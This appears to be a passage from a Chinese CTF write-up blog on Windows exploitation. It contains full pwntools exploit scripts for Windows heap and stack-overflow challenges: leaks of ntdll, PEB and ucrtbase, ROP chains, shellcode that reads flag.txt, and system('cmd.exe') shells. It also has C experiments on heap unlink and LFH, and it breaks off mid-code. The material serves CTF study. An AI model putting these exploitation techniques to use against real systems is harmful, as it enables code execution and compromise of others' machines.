408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
host = "10.211.55.27"
port = 6677

context.arch = "amd64"

def allocate(size,idx):
r.recvuntil("choice: ")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(str(idx))

def edit(idx,data):
r.recvuntil("choice: ")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.send(data)

def show(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def openfile():
r.recvuntil("choice: ")
r.sendline("5")
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline("3")

def readfile(idx,size,ret=True):
r.recvuntil("choice: ")
r.sendline("5")
r.recvuntil("choice: ")
time.sleep(0.1)
r.sendline("2")
time.sleep(0.1)
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
time.sleep(0.1)
r.sendline(str(size))
if ret :
r.recvuntil("choice: ")
r.sendline("3")


def leak(addr=None,heapoff=None):
for i in range(6):
openfile()
allocate(0x228,1338)
allocate(0x228,1337)
allocate(0x228,1336)
edit(1337,"a"*0x228)
show(1337)
r.recvuntil("a"*0x228)
cookie = (u64(r.recvuntil("\n")[:-2].ljust(8,"\x00")) ^ 0x2322010023) & 0xffffffffffff
print "cookie:",hex(cookie)

allocate(0x268,1332)
allocate(0x5a0,1331)
allocate(0x1000,1330)
allocate(0x280,1333)
allocate(0x280,cookie^0x37010137)
# allocate(0x163,4141)
openfile()
readfile(1332,0x268)
fakechunk = 0x27ae0101ae ^ cookie
time.sleep(0.1)
edit(1332,"b"*0x268 + p64(fakechunk)[:6])
free(1331)
allocate(0x5a0,1331)

show(1330)
r.recvuntil("Content: ")
heap_var = u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))
if heap_var == 0 :
print "fuck heap 0"
raise EOFError
if (heap_var & 0xffff) == 0x150 :
heap = heap_var - 0x150
elif heap_var < 0x10000:
print "fuck heap < 0x10000"
raise EOFError
else :
heap = (heap_var & 0xffffffffffff0000) - 0x10000
print "heap:",hex(heap)
var = heap_var
while var == heap_var :
openfile()
show(1330)
r.recvuntil("Content: ")
var = u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))
subsegment = heap + 0x021e80
reserve = heap + 0x28b40
size_idx = 0xc
sig = 0xf0e0d0c0
fake_userdata = p64(subsegment) + p64(reserve) + p32(size_idx) + p32(sig)
fake_userdata += p64(0)*5
filebuffer = 0xbeefdad0000
ptr = filebuffer+0x20
base = filebuffer+0x20
cnt = 0
flag = 0x2049
fd = 0
pad = 0
bufsize = 0x800
obj = p64(0)*2 + p64(ptr) + p64(base) + p32(cnt) + p32(flag) + p32(fd) + p32(pad) + p64(bufsize) + p64(0)
obj += p64(0xffffffffffffffff) + p32(0xffffffff) + p32(0) + p64(0)*2
edit(1330,fake_userdata + obj*0x28)
readfile(1338,0x8,False)
magic = 0xddaabeef1acd
#stage1
if not addr and not heapoff:
time.sleep(0.1)
r.send(p64(heap+0x2c0))

r.recvuntil("choice: ")
r.sendline("3")
show(1338)
r.recvuntil("Content: ")
return u64(r.recvuntil("\n")[:-2].ljust(8,"\x00")) -0x163d50
elif heapoff:
time.sleep(0.1)
r.send(p64(heap+heapoff))
r.recvuntil(":")
r.sendline("3")
show(1338)
r.recvuntil("Content: ")
return u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))

else :
time.sleep(0.1)
r.send(p64(addr))
r.recvuntil("choice: ")
r.sendline("3")
show(1338)
r.recvuntil("Content: ")
return u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))

count = 0
def exp():
for i in range(6):
openfile()
allocate(0x228,1338)
allocate(0x228,1337)
allocate(0x228,1336)
edit(1337,"a"*0x228)
show(1337)
r.recvuntil("a"*0x228)
cookie = (u64(r.recvuntil("\n")[:-2].ljust(8,"\x00")) ^ 0x2322010023) & 0xffffffffffff
print "cookie:",hex(cookie)
allocate(0x268,1332)
allocate(0x5a0,1331)
allocate(0x1000,1330)
allocate(0x280,1333)
allocate(0x280,cookie^0x37010137)
#allocate(0x163,4141)
openfile()
readfile(1332,0x268)
fakechunk = 0x27ae0101ae ^ cookie
edit(1332,"b"*0x268 + p64(fakechunk)[:6])
free(1331)
allocate(0x5a0,1331)
show(1330)
r.recvuntil("Content: ")
heap_var = u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))

if heap_var == 0 :

raise EOFError
if (heap_var & 0xffff) == 0x150 :
heap = heap_var - 0x150
elif heap_var < 0x10000:
raise EOFError
else :
heap = (heap_var & 0xffffffffffff0000) - 0x10000
print "heap:",hex(heap)
var = heap_var
while var == heap_var :
openfile()
show(1330)
r.recvuntil("Content: ")
var = u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))
subsegment = heap + 0x021e80
reserve = heap + 0x28b40
size_idx = 0xc
sig = 0xf0e0d0c0
fake_userdata = p64(subsegment) + p64(reserve) + p32(size_idx) + p32(sig)
fake_userdata += p64(0)*5
filebuffer = 0xbeefdad0000
global ucrtbase
pioinfo = ucrtbase + 0xeb750
ptr = filebuffer + 0x20
base = filebuffer + 0x20
cnt = 0
flag = 0x2049
fd = 0
pad = 0
bufsize = 0x800
obj =p64(0)*2 + p64(ptr) + p64(base) + p32(cnt) + p32(flag) + p32(fd) + p32(pad) + p64(bufsize) + p64(0)
obj += p64(0xffffffffffffffff) + p32(0xffffffff) + p32(0) + p64(0)*2
edit(1330,fake_userdata + obj*0x28)
readfile(1338,8,False)
global pioinfo_off
magic = 0xddaabeef1acd
r.send(p64(heap+pioinfo_off+0x38))
time.sleep(0.1)
r.recvuntil("choice: ")
r.sendline("3")
edit(1338,p8(0x09))
allocate(0x510,4242)
target = filebuffer + 0x138
free(1333)
allocate(0x280,4343)
edit(4242,"a"*0x288 + p64(0x2929000029^cookie) + p64(target-8) + p64(target))
allocate(0x280,5566)
fake_filebuffer = flat([magic,0x200,0xda,magic,filebuffer])
edit(cookie^0x37010137, p64(filebuffer) + fake_filebuffer)
for i in range(9):
fake_filebuffer += flat([magic,0x200,0xda + i,magic,filebuffer])
edit(0xda,fake_filebuffer)
def readmem(addr):

global count
if count % 2 == 0 :
fake_filebuffer = flat([magic,0x200,0xda,magic,addr]) + flat([magic,0x200,0xdada,magic,filebuffer])
edit(0xda,fake_filebuffer)
show(0xda)
else :
fake_filebuffer = flat([magic,0x200,0xda,magic,filebuffer]) + flat([magic,0x200,0xdada,magic,addr])
edit(0xdada,fake_filebuffer)
show(0xdada)
count += 1
r.recvuntil("Content: ")
return u64(r.recvuntil("\n")[:-2].ljust(8,"\x00"))
global ntdll
if ntdll == 0 :
ntdll = readmem(heap+0x2c0) - 0x163d50
print "ntdll:",hex(ntdll)
peb = readmem(ntdll+0x165348) - 0x80
print "peb:",hex(peb)
global Pebldr
if Pebldr == 0 :
Pebldr = ntdll+ 0x1653c0
print "PebLdr:",hex(Pebldr)
global bin_base
if bin_base == 0 :
imoml = readmem(Pebldr+0x20)
bin_base = readmem(imoml+0x28) - 0x1b80 - 0x70
print "bin_base:",hex(bin_base)
iat = bin_base + 0x3000

kernel32 = readmem(iat+8) - 0x1e690
print "kernel32:",hex(kernel32)
ucrtbase = readmem(iat+0x110) - 0x6f1e0
teb = peb + 0x1000
stack = readmem(teb+0x10+1) << 8
print "stack:",hex(stack)
start = stack+0x3ff8
printf_ret = bin_base + 0x17c4
ret_addr = 0
for i in range(0x2000/8):
try :
val = readmem(start-i*8)
print "search : %d" % i
if val == printf_ret :
print "found !"
ret_addr = start - i*8
break
except :
continue
if ret_addr == 0 :
exit()
print "ret_addr:" ,hex(ret_addr)
def writemem(addr,data):
global count
if count % 2 == 0 :
fake_filebuffer = flat([magic,0x200,0xda,magic,addr]) + flat([magic,0x200,0xdada,magic,filebuffer]) + flat([magic,0x200,0xddaa,magic,addr])
edit(0xda,fake_filebuffer)
else :
fake_filebuffer = flat([magic,0x200,0xda,magic,filebuffer]) + flat([magic,0x200,0xdada,magic,addr])+ flat([magic,0x200,0xddaa,magic,addr])
edit(0xdada,fake_filebuffer)
count += 1
edit(0xddaa,data)
buf = bin_base + 0x5000 + 0x800
writemem(buf,"flag.txt\x00")

pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8c450
winexec = kernel32 + 0x5e970
virutalprotect = kernel32 + 0x1ad00
heapcreate = kernel32 + 0x1e500
processheap = peb+0x30
# _open = ucrtbase + 0xa2a30
_open = ucrtbase + 0xa1ae0
# _read = ucrtbase + 0x16270
_read = ucrtbase + 0x16140
_sleep = ucrtbase + 0xb0ef0
_write = ucrtbase + 0x14b30
_exit = ucrtbase + 0x6f1a0
crtheap = ucrtbase + 0xeb570
rop = flat([pop_rdx_rcx_r8_r9_r10_r11,0x1000,bin_base+0x5000,0x40,buf+0x40,0,0,virutalprotect,bin_base+0x5000+0x900])
sc = "\x90"*0x20 + asm("""
xor rcx,rcx
xor rdx,rdx
xor r8,r8
xor r9,r9
xor rdi,rdi
mov cl,2
mov rdi,0x%x
call rdi
mov rdi,0x%x
mov qword ptr [rdi],rax
mov rdi,0x%x
mov qword ptr [rdi],rax
sub rsp,0x1000
open :
mov rdi,0x%x
mov rcx,0x%x
xor rdx,rdx
call rdi
read:
mov rcx,rax
mov rdx,0x%x
mov rdi,0x%x
mov r8,0x40
call rdi
write :
mov r8,rax
mov rdx,0x%x
xor rcx,rcx
inc rcx
mov rdi,0x%x
call rdi
sleep:
mov rcx,20
mov rdi,0x%x
call rdi
exit:
mov rdi,0x%x
call rdi
""" % (heapcreate,processheap,crtheap,_open,buf,buf,_read,buf,_write,_sleep,_exit))
writemem(bin_base+0x5000+0x900,sc)
writemem(ret_addr,rop)
r.interactive()

ntdll = 0
imoml_off = 0
bin_base = 0
Pebldr = 0
ucrtbase = 0
pioinfo_off = 0

if ntdll == 0 and ucrtbase == 0 :
i = 0
while 1:
try :
r = remote(host,port)
ntdll = leak() - 0x20
print "ntdll",hex(ntdll)
r.recvuntil(":")
r.sendline("6")
r.close()
break
except EOFError:
continue
except KeyboardInterrupt:
raise
finally:
i += 1
r.close()
else :
print "ntdll",hex(ntdll)
if imoml_off == 0 :
i = 0
while 1:
try :

r = remote(host,port)
Pebldr = ntdll + 0x1653c0
print "PebLdr:",hex(Pebldr)
imoml = leak(Pebldr+0x20)
print "imoml:",hex(imoml)
imoml_off = imoml & 0xffff
r.recvuntil(":")
r.sendline("6")
r.close()
break
except EOFError:
continue
except KeyboardInterrupt:
raise
finally:
i+=1
r.close()
else :
print "imoml:",hex(imoml_off)

if bin_base == 0 and ucrtbase == 0:
i = 0
while 1:
try :
r = remote(host,port)
bin_base = leak(None,imoml_off+0x28) - 0x1bf0
print "bin_base:",hex(bin_base)
r.recvuntil(":")
r.sendline("6")
r.close()
break
except EOFError:
continue
except KeyboardInterrupt:
raise
finally:
i += 1
r.close()
else:
print "bin_base:",hex(bin_base)
if ucrtbase == 0 :
i = 0
while 1:
try :
r = remote(host,port)
iat = bin_base + 0x3000
ucrtbase = leak(iat+0x110) - 0x6f1e0
print "ucrtbase:",hex(ucrtbase)
r.recvuntil(":")
r.sendline("6")
r.close()
break
except EOFError:
continue
except KeyboardInterrupt:
raise
finally:
i += 1
r.close()
else:
print "ucrtbase:",hex(ucrtbase)

if pioinfo_off == 0 :
i = 0
while 1:
try :

r = remote(host,port)
pioinfo = leak(ucrtbase+0xeb770)
print "pioinfo:",hex(pioinfo)
pioinfo_off = pioinfo & 0xffff
r.recvuntil(":")
r.sendline("6")
r.close()
if pioinfo == 0 :
r = remote(host,port)
pioinfo = leak(ucrtbase+0xeb771) << 8
print "pioinfo:",hex(pioinfo)
pioinfo_off = pioinfo & 0xffff
r.recvuntil(":")
r.sendline("6")
r.close()
break
except EOFError:
continue
except KeyboardInterrupt:
raise
finally:
i+=1
r.close()
else :
print "pioinfo_off:",hex(pioinfo_off)
while 1:
try :
r= remote(host,port)
exp()
except EOFError:
continue
except KeyboardInterrupt:
raise
finally :
r.close()

winpwn1

思路:

某个网站的winpwn1,是个栈溢出,本地打通,但是远程不通。。。远程一直泄露不出来,我偏移爆破也没试出来。。。之前看一个大佬说win下打通本地打不通远程的情况要比linux下复杂的多,现在终于遇到了。以后有时间再研究。

栈迁移即可,可能找gadget需要思路比较灵活。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding:utf-8

from pwn import *

p = remote('192.168.21.1',8889)
#p = remote('winpwn.eonew.cn',20001)

#context.log_level = 'debug'

puts_IAT = 0x4020c4
main = 0x401130

#0x0040190a : pop ebx ; ret
#0x0040136d : pop ecx ; pop ecx ; ret
#0x00401908 : pop edi ; pop esi ; pop ebx ; ret

stack = 0x1f000
p.recvuntil('Win pwn 1\r\n')
payload = '\x11'*0x80
payload+= p32(stack)
payload+= p32(0x401143)
payload+= p32(puts_IAT)
raw_input('[+] please Enter to continue...')
p.send(payload)

p.recvuntil('\r\n')
ucrtbase = u32(p.recv(4)) - (0x75fc89f0-0x75f10000)
log.success('ucrtbase = '+hex(ucrtbase))

system = ucrtbase + (0x75fffda0-0x75f10000)

payload = '\x22'*0x80
payload+= p32(0xdeadbeef)
payload+= p32(system)
payload+= p32(0xdeadbeef)
payload+= p32(stack+0x78)
payload = payload.ljust(0xf8,'\x00')
payload+= 'cmd.exe\x00'
raw_input('[+] please Enter to continue...')
p.send(payload)

p.interactive()

orw_exp:

ucrtbase!_open/ucrtbase!_read/puts打印出flag文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#coding:utf-8

from pwn import *

p = remote('192.168.21.1',8880)
#p = remote('winpwn.eonew.cn',20001)

#context.log_level = 'debug'

puts_IAT = 0x4020c4
main = 0x401130

#0x0040190a : pop ebx ; ret
#0x0040136d : pop ecx ; pop ecx ; ret
#0x00401908 : pop edi ; pop esi ; pop ebx ; ret

stack = 0x1f000
p.recvuntil('Win pwn 1\r\n')
payload = '\x11'*0x80
payload+= p32(stack)
payload+= p32(0x401143)
payload+= p32(puts_IAT)
raw_input('[+] please Enter to continue...')
p.send(payload)

p.recvuntil('\r\n')
ucrtbase = u32(p.recv(4)) - (0x75fc89f0-0x75f10000)
log.success('ucrtbase = '+hex(ucrtbase))

_open = ucrtbase + (0x75ff1030-0x75f10000)
_read = ucrtbase + (0x75f3b600-0x75f10000)
puts = ucrtbase + (0x75fc89f0-0x75f10000)

payload = '\x22'*0x80
payload+= p32(0xdeadbeef)
payload+= p32(_open)
payload+= p32(0x40136d)
payload+= p32(stack+0x78)
payload+= p32(2)
payload+= p32(_read)
payload+= p32(0x401908)
payload+= p32(3)
payload+= p32(stack+0x100)
payload+= p32(0x20)
payload+= p32(puts)
payload+= p32(0xdeadbeef)
payload+= p32(stack+0x100)
payload = payload.ljust(0xf8,'\x00')
payload+= 'flag.txt\x00'
raw_input('[+] please Enter to continue...')
p.send(payload)

p.interactive()

winpwn2

2020SCTF_EasyWinHeap

相当简单的一道题。。。算是在正式比赛里出现过的最简单的winheap了,只是很久没看了,windbg的命令都忘得差不多了,拿起来复习了一遍,(幸好当时记了不少笔记)。。。

思路:

UAF泄露出_heap,因为出题人刻意把ptrlist放到了heap上,所以我们直接可以进行unlink,然后任意地址读写,但是出题人太贴心了,连函数指针都给我们准备好了。。。直接改函数指针,system(cmd)即可。

myexp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#coding:utf-8

from pwn import *

local = 0
if local == 1:
p = remote('192.168.21.1',8888)
else:
p = remote('47.94.245.208',23333)
context.log_level = 'debug'


def new(size):
p.recvuntil('option >\r\n')
p.sendline('1')
p.recvuntil('size >\r\n')
p.sendline(str(size))

def delete(idx):
p.recvuntil('option >\r\n')
p.sendline('2')
p.recvuntil('index >\r\n')
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil('option >\r\n')
p.sendline('4')
p.recvuntil('index >\r\n')
p.sendline(str(idx))
p.recvuntil('content >\r\n')
p.send(content)

def show(idx):
p.recvuntil('option >\r\n')
p.sendline('3')
p.recvuntil('index >\r\n')
p.sendline(str(idx))

new(0x70) #0
new(0x90) #1
new(0x70) #2
new(0x90) #3
new(0x70) #4

edit(4,'cmd.exe'+'\n')
delete(1)
show(1)
if local == 1:
heapbase = u32(p.recvuntil('\xc0\x0d\x0a',drop=True).ljust(4,'\x00'))-0x580
else:
heapbase = u32(p.recvuntil('\x0d\x0a',drop=True).ljust(4,'\x00'))-0x580
log.success('heapbase = '+hex(heapbase))

delete(3)
edit(1,p32(heapbase+0x4a0)+p32(heapbase+0x4a4)+'\n')

delete(0)

payload = p32(heapbase+0x4a0)
edit(1,payload+'\n')
show(1)
if local == 1:
codebase = u32(p.recvuntil('\x0d\x0a',drop=True).ljust(4,'\x00'))-0x104a
else:
codebase = u32(p.recvuntil('\xa0\x04',drop=True).ljust(4,'\x00'))-0x104a
log.success('codebase = '+hex(codebase))

payload = p32(codebase+0x104a)+p32(codebase+0x2054)
payload+= p32(codebase+0x104a)+p32(heapbase+0x4a0)
edit(1,payload+'\n')

show(1)
if local == 1:
ucrtbase = u32(p.recv(4))-(0x76fe27e0-0x76fa0000)
else:
ucrtbase = u32(p.recv(4))-(0x10047ad0-0x10001000)
log.success('ucrtbase = '+hex(ucrtbase))

if local == 1:
system_addr = ucrtbase+(0x7708c090-0x76fa0000)
else:
system_addr = ucrtbase+(0x100efda0-0x10001000)
payload = p32(system_addr)+p32(heapbase+0x570)
edit(2,payload+'\n')

show(1) #trigger

p.recvuntil('>')
p.sendline('chcp 65001')
p.recvuntil('>')
p.sendline('cmd.exe')
p.recvuntil('cmd.exe')

p.interactive()

Exploitation in Windows

关于unlink的实验:

在HeapFree中触发unlink:

x64

成功案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[5];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[1]);
HeapFree(hHeap, 0, ptr[3]);
printf("%p: %p\n", &ptr[1], ptr[1]);
*(void**)(ptr[1]) = &ptr[1] - 1;
*(void**)(ptr[1] + 8) = &ptr[1];
HeapFree(hHeap, 0, ptr[0]);
printf("%p: %p\n", &ptr[1], ptr[1]);
printf("success!!!\n");
return 0;
}

失败案例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[5];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x18); // < == change point
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[1]);
HeapFree(hHeap, 0, ptr[3]);
printf("%p: %p\n", &ptr[1], ptr[1]);
*(void**)(ptr[1]) = &ptr[1] - 1;
*(void**)(ptr[1] + 8) = &ptr[1];
HeapFree(hHeap, 0, ptr[0]);
printf("%p: %p\n", &ptr[1], ptr[1]);
printf("success!!!\n");
return 0;
}

失败案例2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[5];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[1]);
//HeapFree(hHeap, 0, ptr[3]); // < == change point
printf("%p: %p\n", &ptr[1], ptr[1]);
*(void**)(ptr[1]) = &ptr[1] - 1;
*(void**)(ptr[1] + 8) = &ptr[1];
HeapFree(hHeap, 0, ptr[0]);
printf("%p: %p\n", &ptr[1], ptr[1]);
printf("success!!!\n");
return 0;
}

失败案例3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[5];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[3]); // < == change point
HeapFree(hHeap, 0, ptr[1]); // < == change point
printf("%p: %p\n", &ptr[1], ptr[1]);
*(void**)(ptr[1]) = &ptr[1] - 1;
*(void**)(ptr[1] + 8) = &ptr[1];
HeapFree(hHeap, 0, ptr[0]);
printf("%p: %p\n", &ptr[1], ptr[1]);
printf("success!!!\n");
return 0;
}

结论:

unlinkchunk不能被对应sizeLFH指向。因为LFH会检测next_chunksize是否和当前chunksize一样,所以会有decode(ptr->Flink->header),并且检查checksum的过程,因为这时候的Flink已经被我们破坏,所以会检测失败,从而崩溃。所以我们想要成功unlink的方式主要有两种:

  • free目标chunk后,再free一个相同sizechunk来替换掉对应sizeLFH
  • free目标chunk后,在其Flink指向的位置-8处伪造一个header
x86

经测试与x64情况相同。

x64

成功案例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[8];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[5] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[6] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[1]);
HeapFree(hHeap, 0, ptr[3]);
HeapFree(hHeap, 0, ptr[5]);
printf("%p\n", ptr[5]);
*(long*)(ptr[1]) = 0xdeadbeef;
*(long*)(ptr[1] + 8) = 0xdeadbeef;
ptr[7] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
printf("%p\n", ptr[7]);
system("pause");
return 0;
}

失败案例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[8];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
//ptr[5] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
//ptr[6] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[1]);
HeapFree(hHeap, 0, ptr[3]);
printf("%p\n",ptr[3]);
*(long*)(ptr[1]) = 0xdeadbeef;
*(long*)(ptr[1] + 8) = 0xdeadbeef;
ptr[5] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
printf("%p\n",ptr[5]);
system("pause");
return 0;
}

失败原因:因为在对应sizeLFH中有chunk,也就是ptr[3],所以会将ptr[3]解链,解链时的检测:Q->Flink-Blink == Q没过,因为此时的Q->Flink也就是ptr[1]Blink已经被我们篡改为非法。对比可知成功案例1的成功原因。

成功案例2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h> 
#include <windows.h>

HANDLE hHeap = NULL;
char* ptr[8];

int main() {
hHeap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
//system("pause");
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);
ptr[5] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
ptr[6] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20);

HeapFree(hHeap, 0, ptr[3]);
unsigned long long header1 = *(unsigned long long*)(ptr[1] - 8);
printf("header1 = %p\n",header1);
unsigned long long cookie = header1 ^ 0x0800000302010003;
printf("cookie = %p\n",cookie);
unsigned long long header2 = *(unsigned long long*)(ptr[3] - 8);
unsigned long long real_header2 = cookie ^ header2;
printf("real_header2 = %p\n",real_header2);
*(void**)(ptr[3]) = &ptr[3] - 1;
*(void**)(ptr[3] + 8) = &ptr[3];
ptr[1] = (char*)(cookie ^ 0x0800000405010004);
ptr[7] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x28);
printf("%p: %p\n",&ptr[3],ptr[3]);
system("pause");
return 0;
}

结论:想要在HeapAlloc中触发unlink成功,需要两个条件:

  • Flink指向的位置-8处需要伪造一个header
  • 因为申请后返回的chunk肯定是对应sizeLFH指向的chunk,所以我们修改的Flink&Blink也必须是那个chunk,若不是的话,就可能发生失败案例1的情况。
x86

x64情况类似。

FrontEnd-UAF

关于LFH的实验:

需要注意的点

在调试态下不会开启,只能attach上去调试。

需要用HeapCreate(HEAP_GROWABLE, 0, 0)创建新堆,用HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000)不会开启LFH

申请19个chunk之后,第20个chunk是第一个在UserBlock分配的chunk

需关注_HEAP+0x198(FrontEndHeap)_HEAP+0x1a8(FrontEndHeapUsageData)处的数据。FrontEndHeap在第19次申请之后会初始化为_LFH_HEAPFrontEndHeapUsageData指向一块chunk,里面记录着每个sizechunk被分配的次数,每被分配一次就增长0x21。到达一个阈值就会归零并开启对应sizeLFH

每个UserBlock大概会有25chunk。。。我测试时是25个,可能具体需要看情况。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h> 
#include <windows.h>
#include <io.h>

HANDLE hHeap = NULL;
char* ptr[0x20];

int main() {
//char name[0x20];
//setvbuf(stdout, NULL, _IONBF, 0);
